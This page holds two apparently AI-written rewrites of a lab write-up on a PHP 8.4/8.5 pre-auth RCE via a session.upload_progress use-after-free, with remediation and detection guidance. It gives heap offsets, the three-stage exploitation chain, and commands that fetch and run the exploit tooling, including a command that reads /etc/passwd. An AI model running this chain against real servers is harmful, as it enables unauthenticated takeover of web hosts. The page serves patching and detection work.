Skip to content
Memory corruption Write-up Advanced

PHP2Shell: CVE-2026-109618 Pre-Auth RCE, I Tested It Locally and Here’s How It Works

A use-after-free in PHP's session.upload_progress feature allows an unauthenticated attacker to leak heap and library addresses, forge a HashTable, and redirect execution to zif_system for arbitrary command execution. The exploit works only on mod_php prefork with a single worker and specific PHP versions.

Anmol K Sachan Follow

Published on anmolksachan.medium.com

Cybersecurity

Anmol K Sachan, on anmolksachan.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

Context

PHP ships a feature called session.upload_progress that tracks the progress of file uploads by storing metadata in the session during a multipart POST request. It is driven by a hidden form field named PHP_SESSION_UPLOAD_PROGRESS and it runs in the pre-RINIT phase, before the PHP script itself starts executing.

That timing is the whole problem. Because the callback runs before RINIT, it also runs before any PHP error handlers, before any disable_functions restrictions, before any WAF or application-level security control, and before the target script. If something goes wrong in that pre-RINIT window there is no safety net at the application layer.

Most distributions ship a default php.ini with the feature on:

Text
session.upload_progress.enabled = On    session.upload_progress.cleanup = Onsession.upload_progress.prefix = "upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

The affected builds are PHP 8.4.x up to and including 8.4.26 and PHP 8.5.x up to and including 8.5.11, running Apache mod_php prefork. The fix landed in PHP 8.4.27 and PHP 8.5.12, released on 2026-10-21. The report references CVE-2026-109618 and CVE-2026-109619, and credits discovery to Wiz Research.

Setup

The lab is a set of Docker containers, one per PHP build, each pinned to a calibration configuration. The prerequisites are Python 3.11 or later, a recent Docker with a running daemon, Git, and Linux or macOS on arm64 or amd64.

  1. Clone the lab scripts:
Bash
git clone https://github.com/anmolksachan/php2shell.gitcd php2shell
  1. Clone the upstream exploit toolkit:
Bash
git clone https://github.com/devploit/php2shell.git devploit-php2shellcd devploit-php2shell
  1. Bootstrap the upstream exploit. The lab does not vendor the heap-grooming exploit because it has no licence, so a bootstrap script fetches and pins a specific commit:
Bash
python3 tools/bootstrap_upstream.py

Expected output:

Text
cloning https://github.com/9bie/php2shell-bypass-aslr-exp.gitupstream ready: vendor/php2shell-upstreamruntime changes: docs/upstream-changes.md
  1. Start the lab containers:
Bash
python3 tools/php2shell_labs.py up

This brings up seven containers, each with Apache prefork limited to one worker, memory_limit = 8M, display_errors = On, session.upload_progress.enabled = On and session.use_strict_mode = 0. All containers bind to [redacted] only.

Port PHP build Container RCE confirmed
8100 PHP 7.4.33 p2s-lab-7433 No
8101 PHP 8.0.30 p2s-lab-8030 No
8102 PHP 8.1.34 p2s-lab-8134 No
8103 PHP 8.2.34 p2s-lab-8234 No
8104 PHP 8.3.35 p2s-lab-8335 No
8105 PHP 8.4.26 p2s-lab-8426 Yes
8106 PHP 8.5.11 p2s-lab-8511 Yes

Finding it

The starting observation is the pre-RINIT execution window. When a multipart POST arrives with PHP_SESSION_UPLOAD_PROGRESS set, PHP's session handler calls php_session_track_init(), which allocates the session state struct (PS) on the heap and populates it with session data, including PS(id), a pointer to the session ID string.

If the request body is large enough to trigger an out-of-memory bailout during multipart parsing, PHP's allocator aborts the RINIT phase. The OOM happens after PS(id) has been set but before it has been properly cleaned up, so PS(id) is left dangling, pointing at freed heap memory. The next request to the same worker reuses that stale pointer. That is the use-after-free primitive the whole chain is built on.

Two conditions constrain where this works. Session state is per-process, and in Apache prefork each worker is a separate process with its own heap, so the UAF state belongs to whichever worker handled the OOM request. A second request landing on a different worker finds no stale pointer and the exploit fails. The chain therefore needs either a single worker (the lab configuration) or worker pinning, where N-1 workers are held busy with idle keep-alive connections so that all requests are forced to one process.

The second condition is the PHP version. PHP 8.4 and 8.5 introduced changes to the Zend MM heap allocator that give a predictable heap layout. The UAF precondition exists in 8.0 through 8.3 as well, but the stage-3 control flow gadget does not transfer: the heap grooming pads do not align and stage 3 fails to reach RCE.

Exploitation

Stage 1: leak the heap base

The first request is a multipart POST with roughly 841 fields and a large body that triggers OOM after php_session_track_init() has set PS(id):

HTTP
POST /index.php HTTP/1.1Content-Type: multipart/form-data; boundary=XPHP_SESSION_UPLOAD_PROGRESS: <value>
Text
[841 multipart fields + large body to trigger OOM]

On the PHP side the sequence is:

  1. RINIT starts and calls php_session_track_init().
  2. Session state is allocated on the Zend MM heap and PS(id) is set to point into the heap chunk.
  3. OOM fires mid-parsing, PHP aborts RINIT, and the worker exits with PS(id) dangling.
  4. The next request hits the same worker and PHP processes the session again with the stale PS(id).
  5. With display_errors=On, the OOM error appears in the HTTP response body, and that error message contains raw heap pointer values embedded in the output.

The result is the Zend MM chunk base address, which defeats heap ASLR:

Text
[+] chunk base = 0xffff88800000

Stage 2: leak the libphp base

The same stale-state primitive is reused, reshaped. A different OOM trigger forces a different code path, one that writes a pointer into libphp.so into the error output. The result is the libphp.so load address, which defeats library ASLR and tells us where every function in libphp.so lives:

Text
[+] libphp base = 0xffff85200000

Stage 3: forge a HashTable and hijack execution

With both addresses known, absolute addresses are calculated for three symbols. The offsets below are for 8.5.11 on aarch64:

Symbol Purpose Offset Absolute address
zif_system PHP's system(), the RIP target 0x5314f0 libphp_base + 0x5314f0
zval_ptr_dtor Destructor called on session cleanup 0x761b80 libphp_base + 0x761b80
htdata Region where the forged HashTable is placed 0x690d8 chunk_base + 0x690d8

PHP's zval_ptr_dtor follows a HashTable's destructor function pointer when cleaning up a session zval. The exploit constructs a fake HashTable struct at the htdata offset in the heap chunk, which it owns because it knows the chunk base, and sets its destructor field to zif_system.

zif_system expects a zend_string* argument holding the shell command, so a fake zend_string struct is placed immediately adjacent to the forged HashTable carrying the command. id fits in 14 bytes, and length is unlimited on a local lab.

When the session cleanup path calls zval_ptr_dtor on the stale session zval, it dereferences the forged HashTable and calls its destructor, now zif_system, with the fake zend_string as the argument. The OS executes the command as www-data:

Text
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
PRE-AUTH RCE CONFIRMED — PHP 8.5.11, uid=33(www-data), local Docker lab From the original on anmolksachan.medium.com

The screenshot is captioned as pre-auth RCE confirmed on PHP 8.5.11, uid=33(www-data), in the local Docker lab.

Running the exploit

A basic run against the PHP 8.5.11 container on arm64:

Bash
python3 tools/php2shell_auto.py \  -u http://[redacted]:8106/index.php \  --container p2s-lab-8511 \  --repo-dir vendor/php2shell-upstream

The full output:

Text
  exploit by devploit  ·  CVE-2026-109618 / CVE-2026-109619  automatic target detection, build profile dispatch and command execution  authorized testing only[*] CHAIN 01/01  automatic target detection / fixed command proof00:00.00  DISCOVER   http://[redacted]:8106/index.php00:00.08  INFO       detected architecture: aarch6400:00.09  OK         PHP 8.5.11  ·  Apache/2.4.69 (Debian)00:00.09  PREFLIGHT  php-8.5.11-bookworm-aarch6400:00.09  INFO       local container: p2s-lab-851100:00.09  INFO       offsets: zif=0x5314f0 dtor=0x761b80 htdata=0x690d800:00.09  INFO       command: id>/out/p100:00.12  INFO       command staged in lab/rce/out/8.5.11/c00:00.15  PROBE      memory_limit probe: 16 MiB body00:00.16  OK         detected memory_limit=8M00:00.32  EXECUTE    memory_limit=8M  ·  huge_mb=12   │ [*] no offsets file; reading libphp symbols from container p2s-lab-8511   │ zif_system     0x5314f0   │ zval_ptr_dtor  0x761b80   │ wrote vendor/php2shell-upstream/out/offsets.env   │ [*] target http://[redacted]:8106/index.php (cmd='sh</out/c')   │ [*] offsets loaded from out/offsets.env   │ [*] offsets: zif=0x5314f0 dtor=0x761b80 htdata=0x690d8   │ [*] rotating worker over HTTP   │ [*] stage 1: heap leak (attempt 1/3)   │ [+] chunk base = 0xffff88800000   │ [*] rotating worker over HTTP   │ [*] stage 2: libphp leak (attempt 1/3)   │ [+] libphp base = 0xffff85200000   │ [*] rotating worker over HTTP   │ [*] stage 3: HTDATA=0xffff888690d8 ZIF=0xffff857314f0   │ [+] W3 attempt 1   │ PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)╭─ RESULT ─────────────────────────────────────────────────────────╮│ PRE-AUTH RCE CONFIRMED                                           ││ uid=33(www-data) gid=33(www-data) groups=33(www-data)            │╰──────────────────────────────────────────────────────────────────╯

A custom command, unlimited in length on the local lab:

Bash
python3 tools/php2shell_auto.py \  -u http://[redacted]:8106/index.php \  --container p2s-lab-8511 \  --repo-dir vendor/php2shell-upstream \  -c 'id; uname -a; whoami; cat /etc/passwd'

An interactive REPL, running one full chain per command:

Bash
python3 tools/php2shell_auto.py \  -u http:

All seven containers at once:

Bash
python3 tools/php2shell_labs.py test

The release zip also ships ready-made wrappers:

Bash
./setup.sh                                             ./run_exploit.sh                                       ./run_exploit.sh http://[redacted]:8106/index.php p2s-lab-8511 "uname -a"./run_interactive.sh                                   ./test_all_labs.sh                                     ./cleanup.sh

Tear down:

Bash
python3 tools/php2shell_labs.py down./cleanup.sh

The tooling

tools/bootstrap_upstream.py clones 9bie's php2shell-bypass-aslr-exp into vendor/php2shell-upstream and checks out the pinned commit 4586f5c for reproducibility. Because the upstream has no licence it is never committed to the repo and is always fetched fresh:

Python
UPSTREAM_URL = "https://github.com/9bie/php2shell-bypass-aslr-exp.git"PINNED_COMMIT = "4586f5c"

tools/php2shell_labs.py builds and manages one container per PHP build, each with a hardcoded php.ini enforcing the calibration config. The /out directory is bind-mounted from the host so proof output, the result of id, is readable on disk after execution. Key calibration values:

Text
memory_limit = 8Mdisplay_errors = Onsession.upload_progress.enabled = Onsession.use_strict_mode = 0MaxRequestWorkers 1          ; Apache — one worker only

tools/php2shell_auto.py is the version-aware dispatcher and main entry point. It works in six steps:

  1. Fingerprint: sends a HEAD/GET to the target and reads the X-Powered-By or PHP-Version header to identify the exact PHP build.
  2. Profile lookup: finds profiles/php-<version>-<distro>-<arch>.json, and aborts if the build is a patched release (8.4.27+, 8.5.12+) or has no profile.
  3. Memory-limit probe: sends a 16 MiB body; the OOM error message reveals memory_limit=8M, so the chain runs once instead of sweeping values.
  4. Worker pinning: for multi-worker targets, holds N-1 workers busy with idle keep-alive connections.
  5. Upstream call: passes offsets to 9bie's exploit via tools/php2shell_upstream.py, which applies the SNI and heap-parameter patches at runtime.
  6. Proof read: for local labs it reads /out/p1 off the bind mount; for remote targets it fetches /p1 from the webroot.

Every PHP build has a unique libphp.so, so offsets extracted from one build are useless for another. The calibration factory (php2shell_calibrate.py) runs the full three-stage chain and only writes "rce": true once a real shell proof is captured. A profile looks like this:

JSON
{  "libphp": {    "zif_system": "0x5314f0",    "zval_ptr_dtor": "0x761b80",    "htdata": "0x690d8"  },  "stages": {    "stage1_n": 841,    "stage1_forge_len": 79,    "stage2_t": 406,    "stage2_v": 16,    "stage3_pads": [[31, 31]],    "stage3_carrier": true  },  "oom_mb": 12,  "rce": true}
Field Meaning
zif_system Offset of zif_system in libphp.so, the code execution is redirected to
zval_ptr_dtor Offset of zval_ptr_dtor, used to validate the destructor gadget
htdata Offset into the Zend MM chunk where the forged HashTable is placed
stage1_n Number of multipart fields needed to trigger OOM after session init
stage1_forge_len Size of the forged data in stage 1
stage2_t / stage2_v Timing and value parameters for the stage 2 leak primitive
stage3_pads Heap grooming pad counts to align the forged struct to the right offset
stage3_carrier Whether the stage-3 fake zend_string carrier is supported
oom_mb Body size in MB that triggers OOM at memory_limit=8M

To generate a profile for a new build, run the calibrator. It discovers stages 1 and 2 automatically, then tries stage 3, and only writes "rce": true after a live id proof is collected from the container's /out mount:

Bash
python3 tools/php2shell_calibrate.py \  --target http://[redacted]:8105/index.php \  --container p2s-lab-8426 \  --repo-dir vendor/php2shell-upstream \  --proof-file lab/rce/out/8.4.26/p1 \  --distro bookworm

RCE status across builds

PHP build Architecture Heap leak libphp leak RCE Notes
8.5.11 aarch64 Yes Yes Yes Verified: uid=33(www-data)
8.5.11 amd64 Yes Yes Yes Separate offsets, same htdata
8.5.10 aarch64 Yes Yes Yes Verified
8.4.26 amd64 Yes Yes Yes Reference build
8.4.25 aarch64 Yes Yes Yes Probabilistic stage 3, needs retries
8.5.0 aarch64 Yes Yes No Stage-3 layout not found
8.3.35 aarch64 Yes Yes No Stage-3 reference alive
8.3.33 (WordPress) mod_php Yes Yes No Stage-3 reference alive
8.3.0 aarch64 No No No PS(id) dangling, cookie not reclaimed
8.2.34 aarch64 No No No UAF present, leak shape differs
8.1.34 aarch64 No No No UAF present, leak shape differs
8.0.30 aarch64 No No No UAF present, leak shape differs
7.4.33 aarch64 No No No UAF present, leak shape differs

Five builds have verified RCE, across thirteen heap profiles in total.

Root cause

The bug is a pre-RINIT use-after-free in the session.upload_progress path. php_session_track_init() sets PS(id) to point at the session ID string on the Zend MM heap, and an OOM bailout during multipart parsing aborts RINIT after that assignment but before cleanup, leaving the pointer dangling. The next request on the same worker reuses the stale pointer, and because display_errors is on, heap and library pointers end up in the response body. From there the attacker owns a heap chunk, forges a HashTable whose destructor is zif_system, and lets zval_ptr_dtor call it during session cleanup.

Existing defences do not help because the callback runs before RINIT: error handlers, disable_functions and WAF or application controls are all downstream of the vulnerable window. The exploit is also constrained by design: it needs mod_php prefork with a single worker or worker pinning, and the stage-3 gadget only transfers on PHP 8.4 and 8.5, where the Zend MM allocator changes give a predictable heap layout.

Impact

An unauthenticated attacker can execute arbitrary commands as the web server user, here www-data, with no login, no file upload and no prior access, using only HTTP requests. The conditions are specific: PHP 8.4.x up to 8.4.26 or 8.5.x up to 8.5.11, Apache mod_php prefork, session.upload_progress enabled (the default), and either a single worker or the ability to pin workers. PHP-FPM is not affected: it processes requests in a completely different lifecycle and the pre-RINIT primitive does not transfer, so Nginx + PHP-FPM and Apache + PHP-FPM deployments are out of scope for this specific exploit. A read-only webroot prevents the exploit from writing a proof file but does not prevent blind command execution.

Fix

Upgrading is the only complete fix. Move to PHP 8.4.27 or higher, or PHP 8.5.12 or higher; packages are available in standard distribution repositories and via apt, yum or brew depending on platform. Check the current version with:

Bash
php -v

The best immediate mitigation is to disable the feature, which removes the pre-RINIT callback the entire chain depends on:

Text
session.upload_progress.enabled = Off

This is safe for virtually all applications, since very few modern apps use PHP-native upload progress and instead use JavaScript-based progress via XMLHttpRequest. Restart Apache afterwards:

Bash
systemctl restart apache2

Additional hardening raises the bar but is not a fix:

Text
display_errors = Off          memory_limit = 256M           expose_php = Off

For detection, watch the Apache access log for multipart POSTs returning 500 with bodies over 10MB and around 841 fields in the Content-Type boundary, and for stage 2 and stage 3 requests with similar patterns and slightly different body sizes, where the Apache child may crash:

Text
POST /index.php HTTP/1.1 500 - [body > 10MB, ~841 fields in Content-Type boundary]
Text
# Stage 2 — similar pattern, slightly different body sizePOST /index.php HTTP/1.1 500 -# Stage 3 — exploitation attempt, Apache child may crashPOST /index.php HTTP/1.1 500 -

In the Apache error log, the key signatures are:

Text
[error] PHP Fatal error: Allowed memory size of 8388608 bytes exhausted[notice] child pid 12345 exit signal Segmentation fault (11)zend_mm_heap corrupted

On the SIEM or WAF side, add rules to rate-limit multipart POSTs with Content-Length > 5MB to the same endpoint, alert on more than 500 multipart fields in a single request, alert on repeated 500 responses from the same source IP within 5 seconds, and alert on zend_mm_heap corrupted in PHP error logs.

Variants to test

  1. Run the calibrator against any other PHP 8.4 or 8.5 build you have in a lab, for example python3 tools/php2shell_calibrate.py --target ... --container ... --repo-dir vendor/php2shell-upstream --proof-file ... --distro bookworm. A positive result is a generated profile with "rce": true and an id proof read from the container's /out mount.
  2. Test the amd64 build of 8.5.11, which the report lists as working with separate offsets but the same htdata. A positive result is the same uid=33(www-data) proof on the amd64 build, which the report lists with separate offsets and the same htdata.
  3. Test 8.4.25, where stage 3 is probabilistic and needs retries. A positive result is the proof appearing after repeated attempts rather than on the first.
  4. Test 8.3.x builds, where the heap and libphp leaks still work but stage 3 does not. A positive result would be a stage-3 success on a build the report currently lists as No, which would mean the gadget transfers further than expected.
  5. On a multi-worker target, exercise worker pinning by holding N-1 workers busy with idle keep-alive connections. A positive result is the chain completing where it previously failed because requests landed on different workers.
  6. Probe memory_limit with a 16 MiB body before running the chain. A positive result is an OOM error in the response that reveals the configured limit, letting the chain run once instead of sweeping values.
  7. Check whether session.upload_progress.enabled is on and whether the deployment is mod_php prefork rather than PHP-FPM. A positive result is a target that answers the fingerprint with an affected PHP build and an Apache mod_php signature; a PHP-FPM target is a negative result by design.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 34 min read.

What happened, in plain words

A security researcher named Anmol K Sachan published a write-up about a serious bug in PHP, the programming language that powers a huge share of the websites you visit. The bug lets someone who has never logged in, never uploaded a file and never had any account on a site run their own commands on the web server. That is called remote code execution, or RCE, and it is about as bad as a web bug gets.

The bug lives in a PHP feature called session.upload_progress, which is switched on by default in most installations. The researcher built a small practice environment (a "lab") on his own computer using Docker, a tool that runs software in isolated boxes, and reproduced the attack against PHP 8.5.11. The proof was the output of the id command, which showed the commands were running as the web server's own user account, www-data.

The affected versions are PHP 8.4.x up to and including 8.4.26, and PHP 8.5.x up to and including 8.5.11, when PHP runs inside the Apache web server through a module called mod_php in its "prefork" mode. The fix arrived in PHP 8.4.27 and PHP 8.5.12, released on 2026-10-21. The report references CVE-2026-109618 and CVE-2026-109619, and credits discovery to Wiz Research.

PRE-AUTH RCE CONFIRMED — PHP 8.5.11, uid=33(www-data), local Docker lab From the original on anmolksachan.medium.com

The screenshot is captioned as pre-auth RCE confirmed on PHP 8.5.11, uid=33(www-data), in the local Docker lab.

Before going further, a few words you will meet constantly:

  • PHP is a language that runs on the server, not in your browser. When you open a page ending in .php, the server runs that file and sends you the result.
  • Apache is the web server program that receives your browser's requests and hands them to PHP. mod_php means PHP is loaded directly inside Apache rather than as a separate helper program.
  • prefork is an Apache mode where each incoming request is handled by a separate copy (a "worker" or "child process") of the server.
  • A session is how a website remembers who you are between page loads. The server keeps a small record for you and gives your browser a session ID, a short random string, so it can find that record again. Think of a cloakroom ticket: the ticket is not your coat, it just tells the attendant which coat is yours.
  • A cookie is the small piece of data your browser stores and sends back with each request, which is how the session ID usually travels.
  • A CVE is a public catalogue number for a known security flaw, so people around the world can talk about the same bug unambiguously.
  • A use-after-free is a bug where a program keeps using a piece of memory after it has officially given that memory back. It is like keeping the key to a hotel room after checkout: someone else may now be in that room, and you can still walk in.
  • ASLR (address space layout randomisation) is a defence where the operating system loads programs and memory at unpredictable addresses, so an attacker cannot know where to aim. Much of this attack is about defeating it.
  • A heap is the pool of memory a program uses for data it creates while running. "Heap base" means the starting address of that pool.

Background: what is session.upload_progress?

When you upload a file through a web form, the upload can take a while. PHP has a feature that lets a page show a progress bar by tracking the upload as it happens. It does this by storing small pieces of information (metadata) in your session while a multipart POST request is in flight.

A multipart POST is the format a browser uses to send a form that includes a file: the request body is split into several parts, each with its own little header, separated by a boundary string. A POST is simply the kind of HTTP request used to submit data, as opposed to a GET, which is used to ask for a page.

The feature is triggered by a hidden form field named PHP_SESSION_UPLOAD_PROGRESS. A hidden field is one the user never sees, but the browser still sends it. The important part is when this code runs: in the pre-RINIT phase. RINIT ("request init") is the moment PHP sets up a request before running your script. So this feature runs before the PHP script itself starts executing.

That timing is the whole problem. Because the callback runs before RINIT, it also runs before any PHP error handlers, before any disable_functions restrictions (a setting that blocks dangerous functions), before any WAF or application-level security control, and before the target script. A WAF is a web application firewall, a filter that inspects traffic and blocks suspicious requests. If something goes wrong in that pre-RINIT window there is no safety net at the application layer: the guards are all standing further down the corridor than the intruder.

Most distributions ship a default php.ini (PHP's main configuration file) with the feature on:

Text
session.upload_progress.enabled = On    session.upload_progress.cleanup = Onsession.upload_progress.prefix = "upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

Line by line:

  • session.upload_progress.enabled = On switches the feature on. This is the line that matters most, because the whole attack depends on it.
  • session.upload_progress.cleanup = On tells PHP to tidy up the progress information once the upload finishes.
  • session.upload_progress.prefix = "upload_progress_" sets the name prefix used for the stored progress entry in the session.
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" sets the name of the form field that activates the tracking. This is the field the attacker will send.

The affected builds are PHP 8.4.x up to and including 8.4.26 and PHP 8.5.x up to and including 8.5.11, running Apache mod_php prefork. The fix landed in PHP 8.4.27 and PHP 8.5.12, released on 2026-10-21. The CVEs are CVE-2026-109618 and CVE-2026-109619; discovery is credited to Wiz Research.

The vulnerability: pre-RINIT use-after-free

What goes wrong

When a multipart POST arrives with PHP_SESSION_UPLOAD_PROGRESS set, PHP's session handler calls php_session_track_init(). That function allocates the session state struct (PS) on the heap and fills it with session data, including PS(id), a pointer to the session ID string.

A struct is a bundle of related values kept together in memory. A pointer is a value that holds the memory address of something else, like a note saying "the coat is on hook 42" rather than the coat itself.

If the request body is large enough to trigger an out-of-memory (OOM) bailout during multipart parsing, PHP's allocator aborts the RINIT phase. OOM means the program hit its memory limit and had to stop. The OOM happens after PS(id) has been set but before it has been properly cleaned up, so PS(id) is left dangling, pointing at freed heap memory. The next request to the same worker reuses that stale pointer. That is the use-after-free primitive the whole chain is built on. A primitive here means a small, reliable building block that the rest of the attack is assembled from.

Why it only works on mod_php prefork with one worker

Session state is per-process. In Apache prefork each worker is a separate process with its own heap, so the UAF state belongs to whichever worker handled the OOM request. If a second request lands on a different worker, that worker has no stale pointer and the exploit fails. It is like leaving a note on one specific desk: if your next visit is to another desk, the note is not there.

The chain therefore needs either a single worker (the lab configuration) or worker pinning, where N-1 workers are held busy with idle keep-alive connections so that all requests are forced to one process. A keep-alive connection is one the browser keeps open to reuse for several requests instead of reconnecting each time; holding such connections open occupies a worker without it doing any real work.

Why it only works on PHP 8.4/8.5

PHP 8.4 and 8.5 introduced changes to the Zend MM heap allocator that give a predictable heap layout. Zend MM is PHP's own memory manager, the component that hands out and reclaims memory for PHP data. The UAF precondition exists in 8.0 through 8.3 as well, but the stage-3 control flow gadget does not transfer: the heap grooming pads do not align and stage 3 fails to reach RCE. Heap grooming means deliberately arranging memory so that the data you plant ends up exactly where you want it, the way you might shuffle boxes in a cupboard so one particular box sits on the shelf you can reach.

The 3-stage exploitation chain

The attack is built in three stages. Stage 1 and 2 are about learning where things are in memory; stage 3 uses that knowledge to run a command.

Stage 1: leak the heap base (defeat heap ASLR)

What we send: a multipart POST with roughly 841 fields and a large body that triggers OOM after php_session_track_init() has set PS(id).

HTTP
POST /index.php HTTP/1.1Content-Type: multipart/form-data; boundary=XPHP_SESSION_UPLOAD_PROGRESS: <value>

Line by line:

  • POST /index.php HTTP/1.1 is the request line: send a POST to the page /index.php using version 1.1 of HTTP, the protocol browsers and servers speak.
  • Content-Type: multipart/form-data; boundary=X announces that the body is a form with several parts, and that the string X separates them. The server uses the boundary to know where one part ends and the next begins.
  • PHP_SESSION_UPLOAD_PROGRESS: <value> is the hidden field that switches on the upload-progress tracking. The placeholder <value> stands for whatever value is sent.
Text
[841 multipart fields + large body to trigger OOM]

This is a description, not literal data: the request carries 841 separate form fields plus a body big enough to push PHP past its memory limit.

What PHP does:

  1. Starts RINIT, calls php_session_track_init().
  2. Allocates session state on the Zend MM heap, sets PS(id) so it points into the heap chunk.
  3. OOM fires mid-parsing. PHP aborts RINIT, worker exits with PS(id) dangling.
  4. Next request hits the same worker, PHP processes the session again with the stale PS(id).
  5. display_errors=On causes the OOM error to appear in the HTTP response body, and that error message contains raw heap pointer values embedded in the output.

display_errors=On is a PHP setting that makes error messages visible in the page instead of only in a log file. It is meant for development, but it is common on real servers, and here it turns an error message into a map of memory.

What we get:

Text
[+] chunk base = 0xffff88800000

This is the Zend MM chunk base address, so heap ASLR is defeated. The [+] is just a marker the tool prints for a successful step. The value starting 0x is a hexadecimal number, a way of writing memory addresses.

Stage 2: leak the libphp base (defeat library ASLR)

What we send: the same stale-state primitive, reshaped. A different OOM trigger forces a different code path to be hit, one that writes a pointer into libphp.so into the error output.

libphp.so is the shared library file that contains PHP's compiled code when PHP runs inside Apache. A shared library is a file of reusable code that programs load into memory; .so stands for "shared object".

What we get:

Text
[+] libphp base = 0xffff85200000

This is the libphp.so load address, so library ASLR is defeated. We now know where every function in libphp.so lives in memory. A function is a named block of code that does a job, such as system() running a shell command.

Stage 3: forge a HashTable, hijack execution, get RCE

With both addresses known, absolute addresses are calculated for three symbols. A symbol is a named item inside a compiled program, such as a function. The offsets below are for 8.5.11 on aarch64. An offset is a fixed distance from a known starting point, so if you know the base you can add the offset to get the exact address. aarch64 is the processor family used in most phones and in Apple's newer Macs.

Symbol Purpose Offset (8.5.11 aarch64) Absolute address
zif_system PHP's system(), the RIP target 0x5314f0 libphp_base + 0x5314f0
zval_ptr_dtor Destructor called on session cleanup 0x761b80 libphp_base + 0x761b80
htdata Region where the forged HashTable is placed 0x690d8 chunk_base + 0x690d8

RIP is the processor register that holds the address of the next instruction to run, so "the RIP target" means the code the attacker wants the processor to jump to. A destructor is code that runs when an object is being cleaned up.

The forged HashTable: PHP's zval_ptr_dtor follows a HashTable's destructor function pointer when cleaning up a session zval. A HashTable is PHP's internal key-value container, the structure behind arrays. A zval is PHP's internal box for a single value. The exploit constructs a fake HashTable struct at the htdata offset in the heap chunk, which it owns because it knows the chunk base, and sets its destructor field to zif_system. In plain terms: it writes a fake record into memory whose "when cleaning up, call this" entry points at PHP's own system() function.

The fake zend_string: zif_system expects a zend_string* argument holding the shell command, so a fake zend_string struct is placed immediately adjacent to the forged HashTable carrying the command. A zend_string is PHP's internal representation of a piece of text. id fits in 14 bytes, and length is unlimited on a local lab.

Execution: when the session cleanup path calls zval_ptr_dtor on the stale session zval, it dereferences the forged HashTable and calls its destructor, now zif_system, with the fake zend_string as the argument. The OS executes the command as www-data. To dereference a pointer means to follow it to the thing it points at.

Text
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

This is the output of the id command. uid is the numeric user ID, gid the group ID, and www-data is the conventional account the web server runs as. Getting this output means the attacker's command really ran on the server.

Pre-auth RCE confirmed. "Pre-auth" means before authentication: no login was needed.

Setting up the lab

All files for the lab are at: https://github.com/anmolksachan/php2shell

A lab is a safe, isolated copy of the target software that you control, so you can experiment without touching anyone else's systems.

Prerequisites

Requirement Version Check
Python 3.11+ python3 --version
Docker any recent docker --version
Docker daemon running docker info
Git any git --version
OS Linux or macOS arm64 or amd64

Python is a programming language used here to run the helper scripts. Docker runs software in containers, which are lightweight isolated boxes sharing your computer's kernel. The Docker daemon is the background service that actually runs containers. Git is the tool for downloading and tracking code repositories. arm64 and amd64 are the two common processor families for laptops and servers.

Step 1: get the lab scripts

Bash
git clone https://github.com/anmolksachan/php2shell.gitcd php2shell

Line by line:

  • git clone https://github.com/anmolksachan/php2shell.git downloads a copy of the repository to your machine.
  • cd php2shell moves your terminal into the new folder. cd means "change directory".

The zip from the GitHub releases contains all helper scripts described below.

Step 2: clone the upstream exploit toolkit

Bash
git clone https://github.com/devploit/php2shell.git devploit-php2shellcd devploit-php2shell

This downloads a second repository, the exploit toolkit by devploit, into a folder named devploit-php2shell, then moves into it. An exploit is the code that actually carries out an attack.

Step 3: bootstrap the 9bie upstream exploit

php2shell does not vendor the actual heap-grooming exploit (it has no licence). To vendor code means to copy it into your own repository. A licence is the legal permission that says how code may be reused; without one, the safe choice is not to bundle it. A bootstrap script fetches and pins a specific commit:

Bash
python3 tools/bootstrap_upstream.py

python3 runs the Python interpreter, and the argument is the script to run. A commit is a specific saved snapshot of a code repository, identified by a short hash, so "pinning" one means always getting exactly that version.

Expected output:

Text
cloning https://github.com/9bie/php2shell-bypass-aslr-exp.gitupstream ready: vendor/php2shell-upstreamruntime changes: docs/upstream-changes.md

This tells you the upstream repository was cloned, is ready in vendor/php2shell-upstream, and that notes on the runtime changes are in docs/upstream-changes.md.

Step 4: start all lab containers

Bash
python3 tools/php2shell_labs.py up

This runs the lab manager script with the argument up, meaning "start the containers". It spins up seven Docker containers, each pinned to a specific PHP build with the calibration config:

  • Apache prefork, 1 worker
  • memory_limit = 8M
  • display_errors = On
  • session.upload_progress.enabled = On
  • session.use_strict_mode = 0

memory_limit = 8M caps PHP at 8 megabytes of memory, which makes the OOM easy to trigger. session.use_strict_mode = 0 turns off a session safety check, so PHP will accept a session ID it has not initialised itself.

Port PHP build Container RCE confirmed
8100 PHP 7.4.33 p2s-lab-7433 No
8101 PHP 8.0.30 p2s-lab-8030 No
8102 PHP 8.1.34 p2s-lab-8134 No
8103 PHP 8.2.34 p2s-lab-8234 No
8104 PHP 8.3.35 p2s-lab-8335 No
8105 PHP 8.4.26 p2s-lab-8426 Yes
8106 PHP 8.5.11 p2s-lab-8511 Yes

A port is a numbered doorway on a computer; [redacted] is the address meaning "this same computer", so a URL like http://[redacted]:8106/ reaches the container listening on port 8106 on your own machine. All containers bind to [redacted] only, so nothing is exposed externally.

Running the exploit

Basic run: PHP 8.5.11 (arm64, verified)

Bash
python3 tools/php2shell_auto.py \  -u http://[redacted]:8106/index.php \  --container p2s-lab-8511 \  --repo-dir vendor/php2shell-upstream

Line by line:

  • python3 tools/php2shell_auto.py runs the main dispatcher script.
  • -u http://[redacted]:8106/index.php gives the target URL: the PHP 8.5.11 container on your own machine.
  • --container p2s-lab-8511 names the container, so the tool can read the right offsets from it.
  • --repo-dir vendor/php2shell-upstream points at the downloaded upstream exploit.

The backslashes at the end of lines simply continue one long command across several lines for readability.

Full output

Text
